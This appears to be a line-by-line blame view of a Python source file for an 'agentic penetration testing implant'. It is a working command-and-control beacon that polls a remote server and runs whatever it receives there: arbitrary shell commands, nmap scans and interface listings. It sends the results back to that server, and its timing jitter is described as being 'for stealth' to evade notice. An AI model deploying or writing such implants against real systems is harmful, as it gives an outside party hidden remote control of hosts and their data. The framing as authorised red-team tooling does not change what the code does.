2026-11-05 21:19:54 -07:00
|
|
|
"""
|
|
|
|
|
Agentic Penetration Testing Implant (Beaconing Architecture)
|
|
|
|
|
|
|
|
|
|
This implant runs on the target network and periodically beacons out to the MCP server
|
|
|
|
|
to check for pending commands. It executes commands locally and reports results back.
|
|
|
|
|
|
|
|
|
|
Usage:
|
|
|
|
|
export MCP_SERVER_URL="http://<mcp-server-ip>:8001"
|
|
|
|
|
python implant.py --id <unique-implant-id> --interval 30
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
import os
|
|
|
|
|
import sys
|
|
|
|
|
import json
|
|
|
|
|
import time
|
|
|
|
|
import uuid
|
|
|
|
|
import socket
|
|
|
|
|
import subprocess
|
|
|
|
|
import argparse
|
|
|
|
|
import random
|
2026-11-08 20:32:42 -07:00
|
|
|
import logging
|
2026-11-05 21:19:54 -07:00
|
|
|
from datetime import datetime
|
|
|
|
|
from urllib.request import urlopen, Request
|
|
|
|
|
from urllib.error import URLError
|
|
|
|
|
|
2026-11-08 20:32:42 -07:00
|
|
|
# Setup timestamped logging
|
|
|
|
|
log_filename = f"implant_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.log"
|
|
|
|
|
logging.basicConfig(
|
|
|
|
|
level=logging.INFO,
|
|
|
|
|
format='%(asctime)s [%(levelname)s] %(message)s',
|
|
|
|
|
handlers=[
|
|
|
|
|
logging.FileHandler(log_filename),
|
|
|
|
|
logging.StreamHandler()
|
|
|
|
|
]
|
|
|
|
|
)
|
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
|
|
2026-11-05 21:19:54 -07:00
|
|
|
|
|
|
|
|
def get_local_ip():
|
|
|
|
|
"""Get the local IP address of this host."""
|
|
|
|
|
try:
|
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
|
|
|
s.connect(("8.8.8.8", 80))
|
|
|
|
|
ip = s.getsockname()[0]
|
|
|
|
|
s.close()
|
|
|
|
|
return ip
|
|
|
|
|
except Exception:
|
|
|
|
|
return "unknown"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def execute_nmap(target, scan_type="-sT", ports=None, output_format="normal"):
|
|
|
|
|
"""Execute an nmap scan and return results."""
|
|
|
|
|
cmd = ["nmap", scan_type]
|
|
|
|
|
|
|
|
|
|
if ports:
|
|
|
|
|
cmd.extend(["-p", ports])
|
|
|
|
|
|
|
|
|
|
if output_format == "xml":
|
|
|
|
|
cmd.append("-oX")
|
|
|
|
|
cmd.append("-")
|
|
|
|
|
elif output_format == "grepable":
|
|
|
|
|
cmd.append("-oG")
|
|
|
|
|
cmd.append("-")
|
|
|
|
|
|
|
|
|
|
cmd.append(target)
|
|
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
result = subprocess.run(
|
|
|
|
|
cmd,
|
|
|
|
|
capture_output=True,
|
|
|
|
|
text=True,
|
|
|
|
|
timeout=300
|
|
|
|
|
)
|
|
|
|
|
return {
|
|
|
|
|
"exit_code": result.returncode,
|
|
|
|
|
"output": result.stdout[:10000], # Truncate large outputs
|
|
|
|
|
"error": result.stderr[:1000] if result.stderr else None
|
|
|
|
|
}
|
|
|
|
|
except subprocess.TimeoutExpired:
|
|
|
|
|
return {"exit_code": -1, "output": "", "error": "nmap scan timed out"}
|
|
|
|
|
except Exception as e:
|
|
|
|
|
return {"exit_code": -1, "output": "", "error": str(e)}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def list_interfaces():
|
|
|
|
|
"""List network interfaces and their configurations."""
|
|
|
|
|
try:
|
|
|
|
|
result = subprocess.run(
|
|
|
|
|
["ip", "addr"],
|
|
|
|
|
capture_output=True,
|
|
|
|
|
text=True,
|
|
|
|
|
timeout=30
|
|
|
|
|
)
|
|
|
|
|
return {
|
|
|
|
|
"exit_code": result.returncode,
|
|
|
|
|
"output": result.stdout[:5000],
|
|
|
|
|
"error": result.stderr[:1000] if result.stderr else None
|
|
|
|
|
}
|
|
|
|
|
except Exception as e:
|
|
|
|
|
return {"exit_code": -1, "output": "", "error": str(e)}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def run_shell_command(command):
|
|
|
|
|
"""Execute a shell command and return results."""
|
|
|
|
|
try:
|
|
|
|
|
result = subprocess.run(
|
|
|
|
|
command,
|
|
|
|
|
shell=True,
|
|
|
|
|
capture_output=True,
|
|
|
|
|
text=True,
|
|
|
|
|
timeout=120
|
|
|
|
|
)
|
|
|
|
|
return {
|
|
|
|
|
"exit_code": result.returncode,
|
|
|
|
|
"output": result.stdout[:5000],
|
|
|
|
|
"error": result.stderr[:1000] if result.stderr else None
|
|
|
|
|
}
|
|
|
|
|
except subprocess.TimeoutExpired:
|
|
|
|
|
return {"exit_code": -1, "output": "", "error": "Command timed out"}
|
|
|
|
|
except Exception as e:
|
|
|
|
|
return {"exit_code": -1, "output": "", "error": str(e)}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def is_business_hours():
|
|
|
|
|
"""Check if current time is within business hours (Mon-Fri 8AM-6PM local)."""
|
|
|
|
|
now = datetime.now()
|
|
|
|
|
# weekday() returns 0=Monday, 4=Friday
|
|
|
|
|
return now.weekday() < 5 and 8 <= now.hour < 18
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def get_beacon_interval(base_interval):
|
|
|
|
|
"""Calculate beacon interval with jitter based on time of day.
|
|
|
|
|
|
|
|
|
|
Business hours: base interval ±10% jitter
|
|
|
|
|
Off-hours: 2x base interval ±30% jitter (less frequent, more stealthy)
|
|
|
|
|
"""
|
|
|
|
|
if is_business_hours():
|
|
|
|
|
# Shorter interval during business hours with small jitter
|
|
|
|
|
jitter = random.uniform(-0.1, 0.1) * base_interval
|
|
|
|
|
return max(5, int(base_interval + jitter))
|
|
|
|
|
else:
|
|
|
|
|
# Longer interval off-hours with larger jitter for stealth
|
|
|
|
|
extended = base_interval * 2
|
|
|
|
|
jitter = random.uniform(-0.3, 0.3) * extended
|
|
|
|
|
return max(10, int(extended + jitter))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def beacon(mcp_url, implant_id, api_key=None):
|
|
|
|
|
"""Send a check-in beacon to the MCP server and process any commands."""
|
|
|
|
|
try:
|
|
|
|
|
data = json.dumps({
|
|
|
|
|
"implant_id": implant_id,
|
|
|
|
|
"timestamp": time.time(),
|
|
|
|
|
"host_ip": get_local_ip()
|
|
|
|
|
}).encode()
|
|
|
|
|
|
|
|
|
|
headers = {"Content-Type": "application/json"}
|
|
|
|
|
if api_key:
|
|
|
|
|
headers["X-API-Key"] = api_key
|
|
|
|
|
|
|
|
|
|
req = Request(
|
|
|
|
|
f"{mcp_url}/check_in",
|
|
|
|
|
data=data,
|
|
|
|
|
headers=headers
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
with urlopen(req, timeout=10) as response:
|
|
|
|
|
body = json.loads(response.read().decode())
|
|
|
|
|
|
|
|
|
|
commands = body.get("commands", [])
|
|
|
|
|
if commands:
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.info(f"[{implant_id}] Received {len(commands)} command(s)")
|
2026-11-05 21:19:54 -07:00
|
|
|
|
|
|
|
|
for cmd in commands:
|
|
|
|
|
request_id = cmd["request_id"]
|
|
|
|
|
cmd_type = cmd["type"]
|
|
|
|
|
params = cmd["params"]
|
|
|
|
|
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.info(f" Executing {cmd_type} (request {request_id})")
|
2026-11-05 21:19:54 -07:00
|
|
|
|
|
|
|
|
# Execute the appropriate command
|
|
|
|
|
if cmd_type == "nmap_scan":
|
|
|
|
|
result = execute_nmap(
|
|
|
|
|
params.get("target"),
|
|
|
|
|
params.get("scan_type", "-sT"),
|
|
|
|
|
params.get("ports"),
|
|
|
|
|
params.get("output_format", "normal")
|
|
|
|
|
)
|
|
|
|
|
elif cmd_type == "list_interfaces":
|
|
|
|
|
result = list_interfaces()
|
|
|
|
|
elif cmd_type == "run_command":
|
|
|
|
|
result = run_shell_command(params.get("command"))
|
|
|
|
|
else:
|
|
|
|
|
result = {"error": f"Unknown command type: {cmd_type}"}
|
|
|
|
|
|
|
|
|
|
# Report result back
|
|
|
|
|
report_data = json.dumps({
|
|
|
|
|
"request_id": request_id,
|
|
|
|
|
"implant_id": implant_id,
|
|
|
|
|
"result": result
|
|
|
|
|
}).encode()
|
|
|
|
|
|
|
|
|
|
report_headers = {"Content-Type": "application/json"}
|
|
|
|
|
if api_key:
|
|
|
|
|
report_headers["X-API-Key"] = api_key
|
|
|
|
|
|
|
|
|
|
report_req = Request(
|
|
|
|
|
f"{mcp_url}/report_result",
|
|
|
|
|
data=report_data,
|
|
|
|
|
headers=report_headers
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
with urlopen(report_req, timeout=10) as resp:
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.info(f" Result reported for {request_id}")
|
2026-11-05 21:19:54 -07:00
|
|
|
except Exception as e:
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.warning(f" Failed to report result: {e}")
|
2026-11-05 21:19:54 -07:00
|
|
|
|
|
|
|
|
return True
|
|
|
|
|
|
|
|
|
|
except URLError as e:
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.error(f"[{implant_id}] Beacon failed: {e}")
|
2026-11-05 21:19:54 -07:00
|
|
|
return False
|
|
|
|
|
except Exception as e:
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.error(f"[{implant_id}] Unexpected error: {e}")
|
2026-11-05 21:19:54 -07:00
|
|
|
return False
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def main():
|
|
|
|
|
parser = argparse.ArgumentParser(description="Agentic Pentest Implant")
|
|
|
|
|
parser.add_argument("--id", default=str(uuid.uuid4())[:8], help="Unique implant ID")
|
|
|
|
|
parser.add_argument("--interval", type=int, default=30, help="Base beacon interval in seconds")
|
|
|
|
|
parser.add_argument("--api-key", default=None, help="API key for server authentication")
|
|
|
|
|
args = parser.parse_args()
|
|
|
|
|
|
|
|
|
|
mcp_url = os.environ.get("MCP_SERVER_URL", "http://localhost:8001")
|
|
|
|
|
implant_id = args.id
|
|
|
|
|
api_key = args.api_key or os.environ.get("IMPLANT_API_KEY", None)
|
|
|
|
|
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.info("=== Agentic Pentest Implant ===")
|
|
|
|
|
logger.info(f"Implant ID: {implant_id}")
|
|
|
|
|
logger.info(f"MCP Server: {mcp_url}")
|
|
|
|
|
logger.info(f"Base beacon interval: {args.interval}s (with time-aware jitter)")
|
2026-11-05 21:19:54 -07:00
|
|
|
if api_key:
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.info(f"API Key: {'*' * len(api_key)}")
|
|
|
|
|
logger.info(f"Local IP: {get_local_ip()}")
|
|
|
|
|
logger.info("================================")
|
2026-11-05 21:19:54 -07:00
|
|
|
|
|
|
|
|
while True:
|
|
|
|
|
success = beacon(mcp_url, implant_id, api_key)
|
|
|
|
|
if not success:
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.info("Retrying in 5 seconds...")
|
2026-11-05 21:19:54 -07:00
|
|
|
time.sleep(5)
|
|
|
|
|
|
|
|
|
|
# Calculate next interval with jitter
|
|
|
|
|
next_interval = get_beacon_interval(args.interval)
|
|
|
|
|
bh_status = "business hours" if is_business_hours() else "off-hours"
|
2026-11-08 20:32:42 -07:00
|
|
|
logger.debug(f"Next beacon in {next_interval}s ({bh_status})")
|
2026-11-05 21:19:54 -07:00
|
|
|
|
|
|
|
|
# Sleep until next beacon
|
|
|
|
|
for _ in range(next_interval):
|
|
|
|
|
time.sleep(1)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
|
main()
|